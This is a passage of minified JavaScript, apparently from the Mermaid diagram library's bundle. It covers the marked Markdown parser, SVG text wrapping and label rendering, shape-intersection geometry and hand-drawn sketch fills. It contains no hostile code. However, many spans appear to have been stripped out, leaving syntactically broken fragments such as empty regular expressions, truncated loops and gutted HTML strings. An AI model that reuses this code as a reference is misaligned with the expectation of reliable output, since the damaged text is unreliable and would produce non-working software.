s=a,l=r.renderer[s],u=i[s];i[s]=(...h)=>{let f=l.apply(i,h);return f===!1&&(f=u.apply(i,h)),f||""}}n.renderer=i}if(r.tokenizer){let i=this.defaults.tokenizer||new UT(this.defaults);for(let a in r.tokenizer){if(!(a in i))throw new Error(`tokenizer '${a}' does not exist`);if(["options","rules","lexer"].includes(a))continue;let s=a,l=r.tokenizer[s],u=i[s];i[s]=(...h)=>{let f=l.apply(i,h);return f===!1&&(f=u.apply(i,h)),f}}n.tokenizer=i}if(r.hooks){let i=this.defaults.hooks||new S2;for(let a in r.hooks){if(!(a in i))throw new Error(`hook '${a}' does not exist`);if(["options","block"].includes(a))continue;let s=a,l=r.hooks[s],u=i[s];S2.passThroughHooks.has(a)?i[s]=h=>{if(this.defaults.async&&S2.passThroughHooksRespectAsync.has(a))return Promise.resolve(l.call(i,h)).then(d=>u.call(i,d));let f=l.call(i,h);return u.call(i,f)}:i[s]=(...h)=>{let f=l.apply(i,h);return f===!1&&(f=u.apply(i,h)),f}}n.hooks=i}if(r.walkTokens){let i=this.defaults.walkTokens,a=r.walkTokens;n.walkTokens=function(s){let l=[];return l.push(a.call(this,s)),i&&(l=l.concat(i.call(this,s))),l}}this.defaults={...this.defaults,...n}}),this}setOptions(t){return this.defaults={...this.defaults,...t},this}lexer(t,e){return Mu.lex(t,e??this.defaults)}parser(t,e){return Iu.parse(t,e??this.defaults)}parseMarkdown(t){return(e,r)=>{let n={...r},i={...this.defaults,...n},a=this.onError(!!i.silent,!!i.async);if(this.defaults.async===!0&&n.async===!1)return a(new Error("marked(): The async option was set to true by an extension. Remove async: false from the parse options object to return a Promise."));if(typeof e>"u"||e===null)return a(new Error("marked(): input parameter is undefined or null"));if(typeof e!="string")return a(new Error("marked(): input parameter is of type "+Object.prototype.toString.call(e)+", string expected"));i.hooks&&(i.hooks.options=i,i.hooks.block=t);let s=i.hooks?i.hooks.provideLexer():t?Mu.lex:Mu.lexInline,l=i.hooks?i.hooks.provideParser():t?Iu.parse:Iu.parseInline;if(i.async)return Promise.resolve(i.hooks?i.hooks.preprocess(e):e).then(u=>s(u,i)).then(u=>i.hooks?i.hooks.processAllTokens(u):u).then(u=>i.walkTokens?Promise.all(this.walkTokens(u,i.walkTokens)).then(()=>u):u).then(u=>l(u,i)).then(u=>i.hooks?i.hooks.postprocess(u):u).catch(a);try{i.hooks&&(e=i.hooks.preprocess(e));let u=s(e,i);i.hooks&&(u=i.hooks.processAllTokens(u)),i.walkTokens&&this.walkTokens(u,i.walkTokens);let h=l(u,i);return i.hooks&&(h=i.hooks.postprocess(h)),h}catch(u){return a(u)}}}onError(t,e){return r=>{if(r.message+=` +Please report this to https://github.com/markedjs/marked.`,t){let n="

    An error occurred:

    "+Tc(r.message+"",!0)+"
    ";return e?Promise.resolve(n):n}if(e)return Promise.reject(r);throw r}}},Xd=new z9e;o(nn,"d");nn.options=nn.setOptions=function(t){return Xd.setOptions(t),nn.defaults=Xd.defaults,CZ(nn.defaults),nn};nn.getDefaults=h9;nn.defaults=jd;nn.use=function(...t){return Xd.use(...t),nn.defaults=Xd.defaults,CZ(nn.defaults),nn};nn.walkTokens=function(t,e){return Xd.walkTokens(t,e)};nn.parseInline=Xd.parseInline;nn.Parser=Iu;nn.parser=Iu.parse;nn.Renderer=HT;nn.TextRenderer=x9;nn.Lexer=Mu;nn.lexer=Mu.lex;nn.Tokenizer=UT;nn.Hooks=S2;nn.parse=nn;M6t=nn.options,I6t=nn.setOptions,O6t=nn.use,P6t=nn.walkTokens,B6t=nn.parseInline,F6t=Iu.parse,$6t=Mu.lex});function G9e(t,{markdownAutoWrap:e}){let n=t.replace(//g,` +`).replace(/\n{2,}/g,` +`),i=P3(n);return e===!1?i.replace(/ /g," "):i}function FZ(t,e={}){let r=G9e(t,e),n=nn.lexer(r),i=[[]],a=0;function s(l,u="normal"){l.type==="text"?l.text.split(` +`).forEach((f,d)=>{d!==0&&(a++,i.push([])),f.split(" ").forEach(p=>{p=p.replace(/'/g,"'"),p&&i[a].push({content:p,type:u})})}):l.type==="strong"||l.type==="em"?l.tokens.forEach(h=>{s(h,l.type)}):l.type==="html"&&i[a].push({content:l.text,type:"normal"})}return o(s,"processNode"),n.forEach(l=>{l.type==="paragraph"?l.tokens?.forEach(u=>{s(u)}):l.type==="html"?i[a].push({content:l.text,type:"normal"}):i[a].push({content:l.raw,type:"normal"})}),i}function $Z(t,{markdownAutoWrap:e}={}){let r=nn.lexer(t);function n(i){return i.type==="text"?e===!1?i.text.replace(/\n */g,"
    ").replace(/ /g," "):i.text.replace(/\n */g,"
    "):i.type==="strong"?`${i.tokens?.map(n).join("")}`:i.type==="em"?`${i.tokens?.map(n).join("")}`:i.type==="paragraph"?`

    ${i.tokens?.map(n).join("")}

    `:i.type==="space"?"":i.type==="html"?`${i.text}`:i.type==="escape"?i.text:(X.warn(`Unsupported markdown: ${i.type}`),i.raw)}return o(n,"output"),r.map(n).join("")}var zZ=N(()=>{"use strict";BZ();_A();pt();o(G9e,"preprocessMarkdown");o(FZ,"markdownToLines");o($Z,"markdownToHTML")});function V9e(t){return Intl.Segmenter?[...new Intl.Segmenter().segment(t)].map(e=>e.segment):[...t]}function U9e(t,e){let r=V9e(e.content);return GZ(t,[],r,e.type)}function GZ(t,e,r,n){if(r.length===0)return[{content:e.join(""),type:n},{content:"",type:n}];let[i,...a]=r,s=[...e,i];return t([{content:s.join(""),type:n}])?GZ(t,s,a,n):(e.length===0&&i&&(e.push(i),r.shift()),[{content:e.join(""),type:n},{content:r.join(""),type:n}])}function VZ(t,e){if(t.some(({content:r})=>r.includes(` +`)))throw new Error("splitLineToFitWidth does not support newlines in the line");return b9(t,e)}function b9(t,e,r=[],n=[]){if(t.length===0)return n.length>0&&r.push(n),r.length>0?r:[];let i="";t[0].content===" "&&(i=" ",t.shift());let a=t.shift()??{content:" ",type:"normal"},s=[...n];if(i!==""&&s.push({content:i,type:"normal"}),s.push(a),e(s))return b9(t,e,r,s);if(n.length>0)r.push(n),t.unshift(a);else if(a.content){let[l,u]=U9e(e,a);r.push([l]),u.content&&t.unshift(u)}return b9(t,e,r)}var UZ=N(()=>{"use strict";o(V9e,"splitTextToChars");o(U9e,"splitWordToFitWidth");o(GZ,"splitWordToFitWidthRecursion");o(VZ,"splitLineToFitWidth");o(b9,"splitLineToFitWidthRecursion")});function HZ(t,e){e&&t.attr("style",e)}async function H9e(t,e,r,n,i=!1,a=Qt()){let s=t.append("foreignObject");s.attr("width",`${10*r}px`),s.attr("height",`${10*r}px`);let l=s.append("xhtml:div"),u=kn(e.label)?await kh(e.label.replace(tt.lineBreakRegex,` +`),a):sr(e.label,a),h=e.isNode?"nodeLabel":"edgeLabel",f=l.append("span");f.html(u),HZ(f,e.labelStyle),f.attr("class",`${h} ${n}`),HZ(l,e.labelStyle),l.style("display","table-cell"),l.style("white-space","nowrap"),l.style("line-height","1.5"),l.style("max-width",r+"px"),l.style("text-align","center"),l.attr("xmlns","http://www.w3.org/1999/xhtml"),i&&l.attr("class","labelBkg");let d=l.node().getBoundingClientRect();return d.width===r&&(l.style("display","table"),l.style("white-space","break-spaces"),l.style("width",r+"px"),d=l.node().getBoundingClientRect()),s.node()}function T9(t,e,r){return t.append("tspan").attr("class","text-outer-tspan").attr("x",0).attr("y",e*r-.1+"em").attr("dy",r+"em")}function q9e(t,e,r){let n=t.append("text"),i=T9(n,1,e);w9(i,r);let a=i.node().getComputedTextLength();return n.remove(),a}function qZ(t,e,r){let n=t.append("text"),i=T9(n,1,e);w9(i,[{content:r,type:"normal"}]);let a=i.node()?.getBoundingClientRect();return a&&n.remove(),a}function W9e(t,e,r,n=!1){let a=e.append("g"),s=a.insert("rect").attr("class","background").attr("style","stroke: none"),l=a.append("text").attr("y","-10.1"),u=0;for(let h of r){let f=o(p=>q9e(a,1.1,p)<=t,"checkWidth"),d=f(h)?[h]:VZ(h,f);for(let p of d){let m=T9(l,u,1.1);w9(m,p),u++}}if(n){let h=l.node().getBBox(),f=2;return s.attr("x",h.x-f).attr("y",h.y-f).attr("width",h.width+2*f).attr("height",h.height+2*f),a.node()}else return l.node()}function w9(t,e){t.text(""),e.forEach((r,n)=>{let i=t.append("tspan").attr("font-style",r.type==="em"?"italic":"normal").attr("class","text-inner-tspan").attr("font-weight",r.type==="strong"?"bold":"normal");n===0?i.text(r.content):i.text(" "+r.content)})}async function k9(t,e={}){let r=[];t.replace(/(fa[bklrs]?):fa-([\w-]+)/g,(i,a,s)=>(r.push((async()=>{let l=`${a}:${s}`;return await eH(l)?await _s(l,void 0,{class:"label-icon"}):``})()),i));let n=await Promise.all(r);return t.replace(/(fa[bklrs]?):fa-([\w-]+)/g,()=>n.shift()??"")}var di,zo=N(()=>{"use strict";yr();gr();pt();zZ();tr();nc();UZ();qn();o(HZ,"applyStyle");o(H9e,"addHtmlSpan");o(T9,"createTspan");o(q9e,"computeWidthOfText");o(qZ,"computeDimensionOfText");o(W9e,"createFormattedText");o(w9,"updateTextContentAndStyles");o(k9,"replaceIconSubstring");di=o(async(t,e="",{style:r="",isTitle:n=!1,classes:i="",useHtmlLabels:a=!0,isNode:s=!0,width:l=200,addSvgBackground:u=!1}={},h)=>{if(X.debug("XYZ createText",e,r,n,i,a,s,"addSvgBackground: ",u),a){let f=$Z(e,h),d=await k9(Ji(f),h),p=e.replace(/\\\\/g,"\\"),m={isNode:s,label:kn(e)?p:d,labelStyle:r.replace("fill:","color:")};return await H9e(t,m,l,i,u,h)}else{let f=e.replace(//g,"
    "),d=FZ(f.replace("
    ","
    "),h),p=W9e(l,t,d,e?u:!1);if(s){/stroke:/.exec(r)&&(r=r.replace("stroke:","lineColor:"));let m=r.replace(/stroke:[^;]+;?/g,"").replace(/stroke-width:[^;]+;?/g,"").replace(/fill:[^;]+;?/g,"").replace(/color:/g,"fill:");qe(p).attr("style",m)}else{let m=r.replace(/stroke:[^;]+;?/g,"").replace(/stroke-width:[^;]+;?/g,"").replace(/fill:[^;]+;?/g,"").replace(/background:/g,"fill:");qe(p).select("rect").attr("style",m.replace(/background:/g,"fill:"));let g=r.replace(/stroke:[^;]+;?/g,"").replace(/stroke-width:[^;]+;?/g,"").replace(/fill:[^;]+;?/g,"").replace(/color:/g,"fill:");qe(p).select("text").attr("style",g)}return p}},"createText")});function Vt(t){let e=t.map((r,n)=>`${n===0?"M":"L"}${r.x},${r.y}`);return e.push("Z"),e.join(" ")}function Go(t,e,r,n,i,a){let s=[],u=r-t,h=n-e,f=u/a,d=2*Math.PI/f,p=e+h/2;for(let m=0;m<=50;m++){let g=m/50,y=t+g*u,v=p+i*Math.sin(d*(y-t));s.push({x:y,y:v})}return s}function Kd(t,e,r,n,i,a){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;d{"use strict";zo();Xt();yr();La();gr();tr();ut=o(async(t,e,r)=>{let n,i=e.useHtmlLabels||vr(ge()?.htmlLabels);r?n=r:n="node default";let a=t.insert("g").attr("class",n).attr("id",e.domId||e.id),s=a.insert("g").attr("class","label").attr("style",Cn(e.labelStyle)),l;e.label===void 0?l="":l=typeof e.label=="string"?e.label:e.label[0];let u=await di(s,sr(Ji(l),ge()),{useHtmlLabels:i,width:e.width||ge().flowchart?.wrappingWidth,cssClasses:"markdown-node-label",style:e.labelStyle,addSvgBackground:!!e.icon||!!e.img}),h=u.getBBox(),f=(e?.padding??0)/2;if(i){let d=u.children[0],p=qe(u),m=d.getElementsByTagName("img");if(m){let g=l.replace(/]*>/g,"").trim()==="";await Promise.all([...m].map(y=>new Promise(v=>{function x(){if(y.style.display="flex",y.style.flexDirection="column",g){let b=ge().fontSize?ge().fontSize:window.getComputedStyle(document.body).fontSize,T=5,[S=ur.fontSize]=vc(b),w=S*T+"px";y.style.minWidth=w,y.style.maxWidth=w}else y.style.width="100%";v(y)}o(x,"setupImage"),setTimeout(()=>{y.complete&&x()}),y.addEventListener("error",x),y.addEventListener("load",x)})))}h=d.getBoundingClientRect(),p.attr("width",h.width),p.attr("height",h.height)}return i?s.attr("transform","translate("+-h.width/2+", "+-h.height/2+")"):s.attr("transform","translate(0, "+-h.height/2+")"),e.centerLabel&&s.attr("transform","translate("+-h.width/2+", "+-h.height/2+")"),s.insert("rect",":first-child"),{shapeSvg:a,bbox:h,halfPadding:f,label:s}},"labelHelper"),YT=o(async(t,e,r)=>{let n=r.useHtmlLabels||vr(ge()?.flowchart?.htmlLabels),i=t.insert("g").attr("class","label").attr("style",r.labelStyle||""),a=await di(i,sr(Ji(e),ge()),{useHtmlLabels:n,width:r.width||ge()?.flowchart?.wrappingWidth,style:r.labelStyle,addSvgBackground:!!r.icon||!!r.img}),s=a.getBBox(),l=r.padding/2;if(vr(ge()?.flowchart?.htmlLabels)){let u=a.children[0],h=qe(a);s=u.getBoundingClientRect(),h.attr("width",s.width),h.attr("height",s.height)}return n?i.attr("transform","translate("+-s.width/2+", "+-s.height/2+")"):i.attr("transform","translate(0, "+-s.height/2+")"),r.centerLabel&&i.attr("transform","translate("+-s.width/2+", "+-s.height/2+")"),i.insert("rect",":first-child"),{shapeSvg:t,bbox:s,halfPadding:l,label:i}},"insertLabel"),Qe=o((t,e)=>{let r=e.node().getBBox();t.width=r.width,t.height=r.height},"updateNodeBounds"),st=o((t,e)=>(t.look==="handDrawn"?"rough-node":"node")+" "+t.cssClasses+" "+(e||""),"getNodeClasses");o(Vt,"createPathFromPoints");o(Go,"generateFullSineWavePoints");o(Kd,"generateCirclePoints")});function Y9e(t,e){return t.intersect(e)}var WZ,YZ=N(()=>{"use strict";o(Y9e,"intersectNode");WZ=Y9e});function X9e(t,e,r,n){var i=t.x,a=t.y,s=i-n.x,l=a-n.y,u=Math.sqrt(e*e*l*l+r*r*s*s),h=Math.abs(e*r*s/u);n.x{"use strict";o(X9e,"intersectEllipse");XT=X9e});function j9e(t,e,r){return XT(t,e,e,r)}var XZ,jZ=N(()=>{"use strict";E9();o(j9e,"intersectCircle");XZ=j9e});function K9e(t,e,r,n){{let i=e.y-t.y,a=t.x-e.x,s=e.x*t.y-t.x*e.y,l=i*r.x+a*r.y+s,u=i*n.x+a*n.y+s,h=1e-6;if(l!==0&&u!==0&&KZ(l,u))return;let f=n.y-r.y,d=r.x-n.x,p=n.x*r.y-r.x*n.y,m=f*t.x+d*t.y+p,g=f*e.x+d*e.y+p;if(Math.abs(m)0}var QZ,ZZ=N(()=>{"use strict";o(K9e,"intersectLine");o(KZ,"sameSign");QZ=K9e});function Q9e(t,e,r){let n=t.x,i=t.y,a=[],s=Number.POSITIVE_INFINITY,l=Number.POSITIVE_INFINITY;typeof e.forEach=="function"?e.forEach(function(f){s=Math.min(s,f.x),l=Math.min(l,f.y)}):(s=Math.min(s,e.x),l=Math.min(l,e.y));let u=n-t.width/2-s,h=i-t.height/2-l;for(let f=0;f1&&a.sort(function(f,d){let p=f.x-r.x,m=f.y-r.y,g=Math.sqrt(p*p+m*m),y=d.x-r.x,v=d.y-r.y,x=Math.sqrt(y*y+v*v);return g{"use strict";ZZ();o(Q9e,"intersectPolygon");JZ=Q9e});var Z9e,Qh,S9=N(()=>{"use strict";Z9e=o((t,e)=>{var r=t.x,n=t.y,i=e.x-r,a=e.y-n,s=t.width/2,l=t.height/2,u,h;return Math.abs(a)*s>Math.abs(i)*l?(a<0&&(l=-l),u=a===0?0:l*i/a,h=l):(i<0&&(s=-s),u=s,h=i===0?0:s*a/i),{x:r+u,y:n+h}},"intersectRect"),Qh=Z9e});var Xe,Ut=N(()=>{"use strict";YZ();jZ();E9();eJ();S9();Xe={node:WZ,circle:XZ,ellipse:XT,polygon:JZ,rect:Qh}});var tJ,wc,J9e,_2,je,Je,eRe,$t=N(()=>{"use strict";Xt();tJ=o(t=>{let{handDrawnSeed:e}=ge();return{fill:t,hachureAngle:120,hachureGap:4,fillWeight:2,roughness:.7,stroke:t,seed:e}},"solidStateFill"),wc=o(t=>{let e=J9e([...t.cssCompiledStyles||[],...t.cssStyles||[],...t.labelStyle||[]]);return{stylesMap:e,stylesArray:[...e]}},"compileStyles"),J9e=o(t=>{let e=new Map;return t.forEach(r=>{let[n,i]=r.split(":");e.set(n.trim(),i?.trim())}),e},"styles2Map"),_2=o(t=>t==="color"||t==="font-size"||t==="font-family"||t==="font-weight"||t==="font-style"||t==="text-decoration"||t==="text-align"||t==="text-transform"||t==="line-height"||t==="letter-spacing"||t==="word-spacing"||t==="text-shadow"||t==="text-overflow"||t==="white-space"||t==="word-wrap"||t==="word-break"||t==="overflow-wrap"||t==="hyphens","isLabelStyle"),je=o(t=>{let{stylesArray:e}=wc(t),r=[],n=[],i=[],a=[];return e.forEach(s=>{let l=s[0];_2(l)?r.push(s.join(":")+" !important"):(n.push(s.join(":")+" !important"),l.includes("stroke")&&i.push(s.join(":")+" !important"),l==="fill"&&a.push(s.join(":")+" !important"))}),{labelStyles:r.join(";"),nodeStyles:n.join(";"),stylesArray:e,borderStyles:i,backgroundStyles:a}},"styles2String"),Je=o((t,e)=>{let{themeVariables:r,handDrawnSeed:n}=ge(),{nodeBorder:i,mainBkg:a}=r,{stylesMap:s}=wc(t);return Object.assign({roughness:.7,fill:s.get("fill")||a,fillStyle:"hachure",fillWeight:4,hachureGap:5.2,stroke:s.get("stroke")||i,seed:n,strokeWidth:s.get("stroke-width")?.replace("px","")||1.3,fillLineDash:[0,0],strokeLineDash:eRe(s.get("stroke-dasharray"))},e)},"userNodeOverrides"),eRe=o(t=>{if(!t)return[0,0];let e=t.trim().split(/\s+/).map(Number);if(e.length===1){let i=isNaN(e[0])?0:e[0];return[i,i]}let r=isNaN(e[0])?0:e[0],n=isNaN(e[1])?0:e[1];return[r,n]},"getStrokeDashArray")});function C9(t,e,r){if(t&&t.length){let[n,i]=e,a=Math.PI/180*r,s=Math.cos(a),l=Math.sin(a);for(let u of t){let[h,f]=u;u[0]=(h-n)*s-(f-i)*l+n,u[1]=(h-n)*l+(f-i)*s+i}}}function tRe(t,e){return t[0]===e[0]&&t[1]===e[1]}function rRe(t,e,r,n=1){let i=r,a=Math.max(e,.1),s=t[0]&&t[0][0]&&typeof t[0][0]=="number"?[t]:t,l=[0,0];if(i)for(let h of s)C9(h,l,i);let u=(function(h,f,d){let p=[];for(let b of h){let T=[...b];tRe(T[0],T[T.length-1])||T.push([T[0][0],T[0][1]]),T.length>2&&p.push(T)}let m=[];f=Math.max(f,.1);let g=[];for(let b of p)for(let T=0;Tb.yminT.ymin?1:b.xT.x?1:b.ymax===T.ymax?0:(b.ymax-T.ymax)/Math.abs(b.ymax-T.ymax))),!g.length)return m;let y=[],v=g[0].ymin,x=0;for(;y.length||g.length;){if(g.length){let b=-1;for(let T=0;Tv);T++)b=T;g.splice(0,b+1).forEach((T=>{y.push({s:v,edge:T})}))}if(y=y.filter((b=>!(b.edge.ymax<=v))),y.sort(((b,T)=>b.edge.x===T.edge.x?0:(b.edge.x-T.edge.x)/Math.abs(b.edge.x-T.edge.x))),(d!==1||x%f==0)&&y.length>1)for(let b=0;b=y.length)break;let S=y[b].edge,w=y[T].edge;m.push([[Math.round(S.x),v],[Math.round(w.x),v]])}v+=d,y.forEach((b=>{b.edge.x=b.edge.x+d*b.edge.islope})),x++}return m})(s,a,n);if(i){for(let h of s)C9(h,l,-i);(function(h,f,d){let p=[];h.forEach((m=>p.push(...m))),C9(p,f,d)})(u,l,-i)}return u}function N2(t,e){var r;let n=e.hachureAngle+90,i=e.hachureGap;i<0&&(i=4*e.strokeWidth),i=Math.round(Math.max(i,.1));let a=1;return e.roughness>=1&&(((r=e.randomizer)===null||r===void 0?void 0:r.next())||Math.random())>.7&&(a=i),rRe(t,i,n,a||1)}function nw(t){let e=t[0],r=t[1];return Math.sqrt(Math.pow(e[0]-r[0],2)+Math.pow(e[1]-r[1],2))}function _9(t,e){return t.type===e}function V9(t){let e=[],r=(function(s){let l=new Array;for(;s!=="";)if(s.match(/^([ \t\r\n,]+)/))s=s.substr(RegExp.$1.length);else if(s.match(/^([aAcChHlLmMqQsStTvVzZ])/))l[l.length]={type:nRe,text:RegExp.$1},s=s.substr(RegExp.$1.length);else{if(!s.match(/^(([-+]?[0-9]+(\.[0-9]*)?|[-+]?\.[0-9]+)([eE][-+]?[0-9]+)?)/))return[];l[l.length]={type:A9,text:`${parseFloat(RegExp.$1)}`},s=s.substr(RegExp.$1.length)}return l[l.length]={type:rJ,text:""},l})(t),n="BOD",i=0,a=r[i];for(;!_9(a,rJ);){let s=0,l=[];if(n==="BOD"){if(a.text!=="M"&&a.text!=="m")return V9("M0,0"+t);i++,s=jT[a.text],n=a.text}else _9(a,A9)?s=jT[n]:(i++,s=jT[a.text],n=a.text);if(!(i+sf%2?h+r:h+e));a.push({key:"C",data:u}),e=u[4],r=u[5];break}case"Q":a.push({key:"Q",data:[...l]}),e=l[2],r=l[3];break;case"q":{let u=l.map(((h,f)=>f%2?h+r:h+e));a.push({key:"Q",data:u}),e=u[2],r=u[3];break}case"A":a.push({key:"A",data:[...l]}),e=l[5],r=l[6];break;case"a":e+=l[5],r+=l[6],a.push({key:"A",data:[l[0],l[1],l[2],l[3],l[4],e,r]});break;case"H":a.push({key:"H",data:[...l]}),e=l[0];break;case"h":e+=l[0],a.push({key:"H",data:[e]});break;case"V":a.push({key:"V",data:[...l]}),r=l[0];break;case"v":r+=l[0],a.push({key:"V",data:[r]});break;case"S":a.push({key:"S",data:[...l]}),e=l[2],r=l[3];break;case"s":{let u=l.map(((h,f)=>f%2?h+r:h+e));a.push({key:"S",data:u}),e=u[2],r=u[3];break}case"T":a.push({key:"T",data:[...l]}),e=l[0],r=l[1];break;case"t":e+=l[0],r+=l[1],a.push({key:"T",data:[e,r]});break;case"Z":case"z":a.push({key:"Z",data:[]}),e=n,r=i}return a}function hJ(t){let e=[],r="",n=0,i=0,a=0,s=0,l=0,u=0;for(let{key:h,data:f}of t){switch(h){case"M":e.push({key:"M",data:[...f]}),[n,i]=f,[a,s]=f;break;case"C":e.push({key:"C",data:[...f]}),n=f[4],i=f[5],l=f[2],u=f[3];break;case"L":e.push({key:"L",data:[...f]}),[n,i]=f;break;case"H":n=f[0],e.push({key:"L",data:[n,i]});break;case"V":i=f[0],e.push({key:"L",data:[n,i]});break;case"S":{let d=0,p=0;r==="C"||r==="S"?(d=n+(n-l),p=i+(i-u)):(d=n,p=i),e.push({key:"C",data:[d,p,...f]}),l=f[0],u=f[1],n=f[2],i=f[3];break}case"T":{let[d,p]=f,m=0,g=0;r==="Q"||r==="T"?(m=n+(n-l),g=i+(i-u)):(m=n,g=i);let y=n+2*(m-n)/3,v=i+2*(g-i)/3,x=d+2*(m-d)/3,b=p+2*(g-p)/3;e.push({key:"C",data:[y,v,x,b,d,p]}),l=m,u=g,n=d,i=p;break}case"Q":{let[d,p,m,g]=f,y=n+2*(d-n)/3,v=i+2*(p-i)/3,x=m+2*(d-m)/3,b=g+2*(p-g)/3;e.push({key:"C",data:[y,v,x,b,m,g]}),l=d,u=p,n=m,i=g;break}case"A":{let d=Math.abs(f[0]),p=Math.abs(f[1]),m=f[2],g=f[3],y=f[4],v=f[5],x=f[6];d===0||p===0?(e.push({key:"C",data:[n,i,v,x,v,x]}),n=v,i=x):(n!==v||i!==x)&&(fJ(n,i,v,x,d,p,m,g,y).forEach((function(b){e.push({key:"C",data:b})})),n=v,i=x);break}case"Z":e.push({key:"Z",data:[]}),n=a,i=s}r=h}return e}function D2(t,e,r){return[t*Math.cos(r)-e*Math.sin(r),t*Math.sin(r)+e*Math.cos(r)]}function fJ(t,e,r,n,i,a,s,l,u,h){let f=(d=s,Math.PI*d/180);var d;let p=[],m=0,g=0,y=0,v=0;if(h)[m,g,y,v]=h;else{[t,e]=D2(t,e,-f),[r,n]=D2(r,n,-f);let D=(t-r)/2,_=(e-n)/2,O=D*D/(i*i)+_*_/(a*a);O>1&&(O=Math.sqrt(O),i*=O,a*=O);let M=i*i,P=a*a,B=M*P-M*_*_-P*D*D,F=M*_*_+P*D*D,G=(l===u?-1:1)*Math.sqrt(Math.abs(B/F));y=G*i*_/a+(t+r)/2,v=G*-a*D/i+(e+n)/2,m=Math.asin(parseFloat(((e-v)/a).toFixed(9))),g=Math.asin(parseFloat(((n-v)/a).toFixed(9))),tg&&(m-=2*Math.PI),!u&&g>m&&(g-=2*Math.PI)}let x=g-m;if(Math.abs(x)>120*Math.PI/180){let D=g,_=r,O=n;g=u&&g>m?m+120*Math.PI/180*1:m+120*Math.PI/180*-1,p=fJ(r=y+i*Math.cos(g),n=v+a*Math.sin(g),_,O,i,a,s,0,u,[g,D,y,v])}x=g-m;let b=Math.cos(m),T=Math.sin(m),S=Math.cos(g),w=Math.sin(g),k=Math.tan(x/4),A=4/3*i*k,C=4/3*a*k,R=[t,e],I=[t+A*T,e-C*b],L=[r+A*w,n-C*S],E=[r,n];if(I[0]=2*R[0]-I[0],I[1]=2*R[1]-I[1],h)return[I,L,E].concat(p);{p=[I,L,E].concat(p);let D=[];for(let _=0;_2){let i=[];for(let a=0;a2*Math.PI&&(m=0,g=2*Math.PI);let y=2*Math.PI/u.curveStepCount,v=Math.min(y/2,(g-m)/2),x=lJ(v,h,f,d,p,m,g,1,u);if(!u.disableMultiStroke){let b=lJ(v,h,f,d,p,m,g,1.5,u);x.push(...b)}return s&&(l?x.push(...Zh(h,f,h+d*Math.cos(m),f+p*Math.sin(m),u),...Zh(h,f,h+d*Math.cos(g),f+p*Math.sin(g),u)):x.push({op:"lineTo",data:[h,f]},{op:"lineTo",data:[h+d*Math.cos(m),f+p*Math.sin(m)]})),{type:"path",ops:x}}function aJ(t,e){let r=hJ(uJ(V9(t))),n=[],i=[0,0],a=[0,0];for(let{key:s,data:l}of r)switch(s){case"M":a=[l[0],l[1]],i=[l[0],l[1]];break;case"L":n.push(...Zh(a[0],a[1],l[0],l[1],e)),a=[l[0],l[1]];break;case"C":{let[u,h,f,d,p,m]=l;n.push(...sRe(u,h,f,d,p,m,a,e)),a=[p,m];break}case"Z":n.push(...Zh(a[0],a[1],i[0],i[1],e)),a=[i[0],i[1]]}return{type:"path",ops:n}}function D9(t,e){let r=[];for(let n of t)if(n.length){let i=e.maxRandomnessOffset||0,a=n.length;if(a>2){r.push({op:"move",data:[n[0][0]+or(i,e),n[0][1]+or(i,e)]});for(let s=1;s500?.4:-.0016668*u+1.233334;let f=i.maxRandomnessOffset||0;f*f*100>l&&(f=u/10);let d=f/2,p=.2+.2*mJ(i),m=i.bowing*i.maxRandomnessOffset*(n-e)/200,g=i.bowing*i.maxRandomnessOffset*(t-r)/200;m=or(m,i,h),g=or(g,i,h);let y=[],v=o(()=>or(d,i,h),"M"),x=o(()=>or(f,i,h),"k"),b=i.preserveVertices;return a&&(s?y.push({op:"move",data:[t+(b?0:v()),e+(b?0:v())]}):y.push({op:"move",data:[t+(b?0:or(f,i,h)),e+(b?0:or(f,i,h))]})),s?y.push({op:"bcurveTo",data:[m+t+(r-t)*p+v(),g+e+(n-e)*p+v(),m+t+2*(r-t)*p+v(),g+e+2*(n-e)*p+v(),r+(b?0:v()),n+(b?0:v())]}):y.push({op:"bcurveTo",data:[m+t+(r-t)*p+x(),g+e+(n-e)*p+x(),m+t+2*(r-t)*p+x(),g+e+2*(n-e)*p+x(),r+(b?0:x()),n+(b?0:x())]}),y}function KT(t,e,r){if(!t.length)return[];let n=[];n.push([t[0][0]+or(e,r),t[0][1]+or(e,r)]),n.push([t[0][0]+or(e,r),t[0][1]+or(e,r)]);for(let i=1;i3){let a=[],s=1-r.curveTightness;i.push({op:"move",data:[t[1][0],t[1][1]]});for(let l=1;l+21&&i.push(l)):i.push(l),i.push(t[e+3])}else{let u=t[e+0],h=t[e+1],f=t[e+2],d=t[e+3],p=Qd(u,h,.5),m=Qd(h,f,.5),g=Qd(f,d,.5),y=Qd(p,m,.5),v=Qd(m,g,.5),x=Qd(y,v,.5);$9([u,p,y,x],0,r,i),$9([x,v,g,d],0,r,i)}var a,s;return i}function lRe(t,e){return rw(t,0,t.length,e)}function rw(t,e,r,n,i){let a=i||[],s=t[e],l=t[r-1],u=0,h=1;for(let f=e+1;fu&&(u=d,h=f)}return Math.sqrt(u)>n?(rw(t,e,h+1,n,a),rw(t,h,r,n,a)):(a.length||a.push(s),a.push(l)),a}function L9(t,e=.15,r){let n=[],i=(t.length-1)/3;for(let a=0;a0?rw(n,0,n.length,r):n}var R2,R9,N9,M9,I9,O9,Ps,P9,nRe,A9,rJ,jT,iRe,co,Em,z9,QT,G9,Ze,Ht=N(()=>{"use strict";o(C9,"t");o(tRe,"e");o(rRe,"s");o(N2,"n");R2=class{static{o(this,"o")}constructor(e){this.helper=e}fillPolygons(e,r){return this._fillPolygons(e,r)}_fillPolygons(e,r){let n=N2(e,r);return{type:"fillSketch",ops:this.renderLines(n,r)}}renderLines(e,r){let n=[];for(let i of e)n.push(...this.helper.doubleLineOps(i[0][0],i[0][1],i[1][0],i[1][1],r));return n}};o(nw,"a");R9=class extends R2{static{o(this,"h")}fillPolygons(e,r){let n=r.hachureGap;n<0&&(n=4*r.strokeWidth),n=Math.max(n,.1);let i=N2(e,Object.assign({},r,{hachureGap:n})),a=Math.PI/180*r.hachureAngle,s=[],l=.5*n*Math.cos(a),u=.5*n*Math.sin(a);for(let[h,f]of i)nw([h,f])&&s.push([[h[0]-l,h[1]+u],[...f]],[[h[0]+l,h[1]-u],[...f]]);return{type:"fillSketch",ops:this.renderLines(s,r)}}},N9=class extends R2{static{o(this,"r")}fillPolygons(e,r){let n=this._fillPolygons(e,r),i=Object.assign({},r,{hachureAngle:r.hachureAngle+90}),a=this._fillPolygons(e,i);return 